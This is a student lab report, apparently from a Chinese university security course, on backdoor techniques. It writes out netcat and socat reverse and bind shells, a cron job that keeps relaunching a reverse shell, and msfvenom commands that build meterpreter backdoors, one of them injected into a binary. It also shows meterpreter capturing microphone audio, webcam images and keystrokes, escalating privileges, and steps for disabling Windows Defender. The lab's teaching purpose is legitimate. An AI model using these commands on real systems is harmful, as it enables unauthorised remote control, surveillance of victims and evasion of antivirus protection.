20222322 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.1本周学习内容
- 后门的定义与原理:了解后门的概念,它是如何被植入系统中的,以及它如何为攻击者提供未经授权的访问权限。
- 后门的影响:分析后门对系统安全性的威胁,包括数据泄露、系统控制权丧失等。
- netcat与socat的应用:学习如何使用netcat和socat进行网络监听、数据传输等操作,以及它们在渗透测试中的重要作用。
- MSF meterpreter 的使用:掌握MSF meterpreter的功能和使用方法,包括生成恶意可执行文件、收集敏感信息、执行命令等。
- Shellcode注入技术:了解Shellcode的生成、注入过程,以及如何利用系统漏洞实现反弹Shell连接。
通过本周的学习和实践,能够掌握后门的实现与启动方式,以及如何利用netcat、socat、MSF meterpreter等工具进行渗透测试和信息收集。同时,更深入地理解Shellcode注入技术的原理和应用。
1.2实验内容
-
远程Shell获取:
使用netcat结合cron定时任务,在Linux系统下实现自动反向Shell连接,从而绕过安全限制获取目标主机的操作权限。
利用socat与Windows系统的任务计划功能,同样实现远程Shell访问,展示在Windows环境下的类似操作。 -
恶意文件传输与执行:
应用Metasploit Framework(MSF)的meterpreter或其他工具生成恶意可执行文件(后门)。
通过ncat或socat等工具,将生成的恶意文件传输到目标主机并执行,以进一步扩展攻击范围。 -
高级信息收集与权限提升:
利用MSF的meterpreter深入收集目标主机的敏感信息,包括音频、摄像头数据、击键记录等。
尝试权限提升操作,获取更高的系统权限,访问更多受保护的资源。 -
Shellcode注入与反弹Shell:
通过MSF生成针对特定漏洞(如pwn1)的Shellcode。
将生成的Shellcode注入到目标程序中,实现无需用户交互的自动反弹Shell连接,展示Shellcode注入技术的强大能力。
1.3实验问题
-
例举你能想到的一个后门进入到你系统中的可能方式?
- 攻击者可能通过社会工程学诱导用户下载恶意软件或利用未修补的系统漏洞植入后门,包括钓鱼邮件、伪装网站和恶意文件下载等手段。
-
例举你知道的后门如何启动起来(win及linux)的方式?
- Windows:
利用注册表(如Run键)添加启动项。
替换系统文件(如sethc.exe)实现特定操作触发。
在任务计划程序中设置定时任务。 - Linux:
在crontab中添加定时脚本。
修改PAM配置文件实现认证过程中的恶意操作。
利用SUID权限的恶意程序提升权限。
- Windows:
-
Meterpreter有哪些给你映像深刻的功能?
- Meterpreter令我印象最深刻的是其强大的远程控制功能,具体来说,Meterpreter能够实时访问并操控远程系统,同时实现持久化控制,确保在系统重启后依然能够保持访问能力。该系统内置了多样化的功能模块,涵盖了文件系统访问、网络探测等重要功能。此外,它还配备了加密通信通道,以保障数据传输过程中的安全性。
-
如何发现自己有系统有没有被安装后门?
- 可以检查系统用户和组,查找未知或可疑账号;监控网络连接,查找异常IP连接;审查系统启动项和任务计划,查找未知或可疑程序;使用安全扫描工具进行全面扫描,查找潜在威胁;保持系统和应用程序更新,及时修补安全漏洞。
2.实验过程
2.1使用netcat获取主机操作Shell,cron启动某项任务
2.1.1实验环境准备
关闭主机的防火墙与实时保护,防止后续攻击被拦截。


下载火狐浏览器并在网站netcat下载上下载netcat。

2.1.2得到主机的ip地址
通过ipconfig指令,获取主机ip地址192.168.43.198

2.1.3使用netcat连接,获取shell
在主机上,进入netcat所在目录,输入指令./nc.exe -l -p 8888(表示监听8888端口)

在虚拟机上,检查主机与虚拟机能ping通后,输入指令nc 192.168.43.198 8888 -e /bin/sh(表示对于指定的ip地址和端口,在连接后运行/bin/sh指令)

win主机输入lsshell命令,正常显示虚拟机下文件名,主机成功获取虚拟机shell

2.1.4设置cron,在虚拟机中启动定时任务
Cron表是一个用于安排周期性任务的列表,通过编辑crontab文件,用户可以设定脚本或命令在指定时间间隔内自动执行。
输入指令crontab -e(编辑当前用户的crontab文件),选择2:/usr/bin/vim.basic(vim的基础版)

输入30 * * * * /bin/netcat 192.168.43.198 8888 -e /bin/sh(在每小时的第30分钟启动任务)

编辑好后退出,输入crontab -l查看时程表

虚拟机的/var/spool/cron/crontabs文件夹,生成了root文件。

主机和虚拟机用一样的方式再次建立连接。
输入指令echo "* * * * * echo "20222322" > /root/kali/2322.txt" > /var/spool/cron/crontabs/root(每分钟定时执行一次,用“20222322”覆盖文件2322.txt),用crontab -l,查看时程表检查是否修改成功。

在30分时,可以看到20222322.txt被修改成功。

2.2使用socat获取主机操作Shell, 任务计划启动
从socat-1.7.3.0-windows网站上下载socat,解压。
cmd进入socat文件夹。输入命令:
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
(构建一个服务器,该服务器在TCP端口8888上进行监听,一旦有客户端连接到此端口,它将启动一个cmd.exe会话,并通过TCP连接实现客户端与该会话的输入输出共享。)

在虚拟机上输入socat - tcp:192.168.43.198:8888

在主机上写一段程序,编译好生成20222322lulu.exe文件放在桌面。

在虚拟机中,输入指令schtasks /create /sc minute /mo 1 /tn "20222322lulu" /tr C:\Users\卢璐\Desktop\20222322lulu.exe(每一分钟执行一次)
在主机中打开计算机管理,"20222322lulu"任务正在执行,说明攻击成功。


2.3使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
2.3.1生成后门文件
在虚拟机中输入ifconfig,得到虚拟机的ip地址192.168.36.128

继续输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.36.128 LPORT=8888 -f exe > 2322backdoor.exe,生成一个名为2322backdoor.exe的恶意可执行文件,LHOST对应虚拟机ip。

2.3.2将后门文件传至windows主机
主机进入netcat所在目录,输入指令ncat.exe -lv 8888 > "D:\AXNJ\test2\2322backdoor.exe"(在8888端口进行监听,等待接收名为2322backdoor.exe的可执行文件,并将该文件保存到桌面上。)

在虚拟机中输入指令nc 192.168.43.198 8888 < 2322backdoor.exe传送文件。

文件已传送。


2.3.3配置监听模块
在虚拟机中,执行msfconsole命令后,进行以下监听模块配置:
1. 选择Metasploit的监听模块:use exploit/multi/handler
2. 配置有效载荷,与生成后门程序时保持一致:set payload windows/meterpreter/reverse_tcp
3. 设定本地主机的IP地址,与后门程序生成时相同:set LHOST 192.168.36.128
4. 设定本地监听端口为8888:set LPORT 8888
5. 输入`exploit`,使监听模块开始运行。

在主机上运行"2322backdoor.exe"文件

返回检查虚拟机,输入ls查看windows主机目录,确认已经连接。

2.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
2.4.1获取目标主机音频、截屏、摄像头、击键记录
在exploit模块中输入以下指令:
`record_mic`(音频)
`screenshot`(截屏)
`webcam_snap`(拍摄)
`keyscan_start`(开始读取键盘记录)
(回到主机输入一段文字)
`keyscan_dump`(结束读取键盘记录)

键盘记录直接显示在命令行,在文件系统可以看到被保存的音频、截屏、拍摄记录。

2.4.2实现提权
用指令getuid得到初始用户名LAPTOP-MS7OJJNR\卢璐。
用指令getsystem提升到系统权限。

2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
在虚拟机中输入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHoST=192.168.36.128 LPORT=8888 -x /root/Desktop/pwn1_20222322 -f elf > 20222322_pwn
(生成一个反向TCP meterpreter有效载荷,将其嵌入到特定的可执行文件中,并将结果保存为ELF格式的文件)

对生成的文件设置权限,输入msfconsole,再次进行监听配置,进行监听。

打开新的shell,运行文件20222322_pwn。

回到第一个shell,输入ls,发现可以打印当前目录的内容,说明成功获取shell。

3.问题及解决方案
- 问题1:在Microsoft Edge下载netcat时,一直无法安装,允许威胁也不行。
问题1解决方案:下载火狐浏览器重新下载netcat安装包。 - 问题2:电脑上在Windows安全中心的病毒和威胁防护界面,没有关闭实时保护这一选项。
问题2解决方案:1. 按win+R,输入gpedit.msc -> 2. 选择计算机配置–>管理模板–>Windows组件–>Microsoft Defender防病毒–>实时保护 -> 3. 双击关闭实时保护,选择已启用,点击应用 ->返回方法一操作,进入“管理设置”,把篡改防护关闭即可。
参考链接https://blog.csdn.net/azxc98765/article/details/120094030 - 问题3:接收backdoor20222322.exe时,下载下来的文件会被秒删。
问题3解决方案:电脑上查杀软件太厉害,直接先关闭所有安全软件。 - 问题4:任务五执行文件时提示
zsh: segmentation fault ./20222322_pwn
问题4解决方案:查询问题根源是程序试图访问其内存空间中未分配(或不允许访问)的内存区域,随后重新传输pwn1文件,再次进行实验操作,顺利解决!
4.学习感悟思考
经过本次后门原理与实践的实验,我不仅对后门免杀原理有了更多认识,还深入了解了netcat、socat、meterpreter等工具的使用方法,掌握了获取远程主机Shell、生成后门程序、注入shellcode以及利用cron和任务计划启动后门等技能,提升了动手能力和问题解决能力。通过亲自动手操作,体会到了后门的潜在威胁,很有可能成为黑客攻击和窃取敏感信息的工具。
这次实验也算小小圆梦,以前一直觉得黑客很厉害,想要进行学习和了解相关知识,这也是我选择这门专业的主要原因,大学一直学习的是通识课程,在打牢基础后终于涉及到了专业课程,短短几行代码就通过后门对电脑进行了控制操作,获取权限,最后成功完成实验,看见获取截屏、摄像头使用操作等,非常有成就感,不论以后是否会从事与之相关的工作,这门课程对我来说都很有意义。
总的来说,这次后门原理与实践的实验让我受益匪浅。在未来的学习和工作中,我会继续深入学习和探索网络安全领域的知识和技术,时刻保持警惕和敬畏之心,做一个负责任的网络安全从业者。

浙公网安备 33010602011771号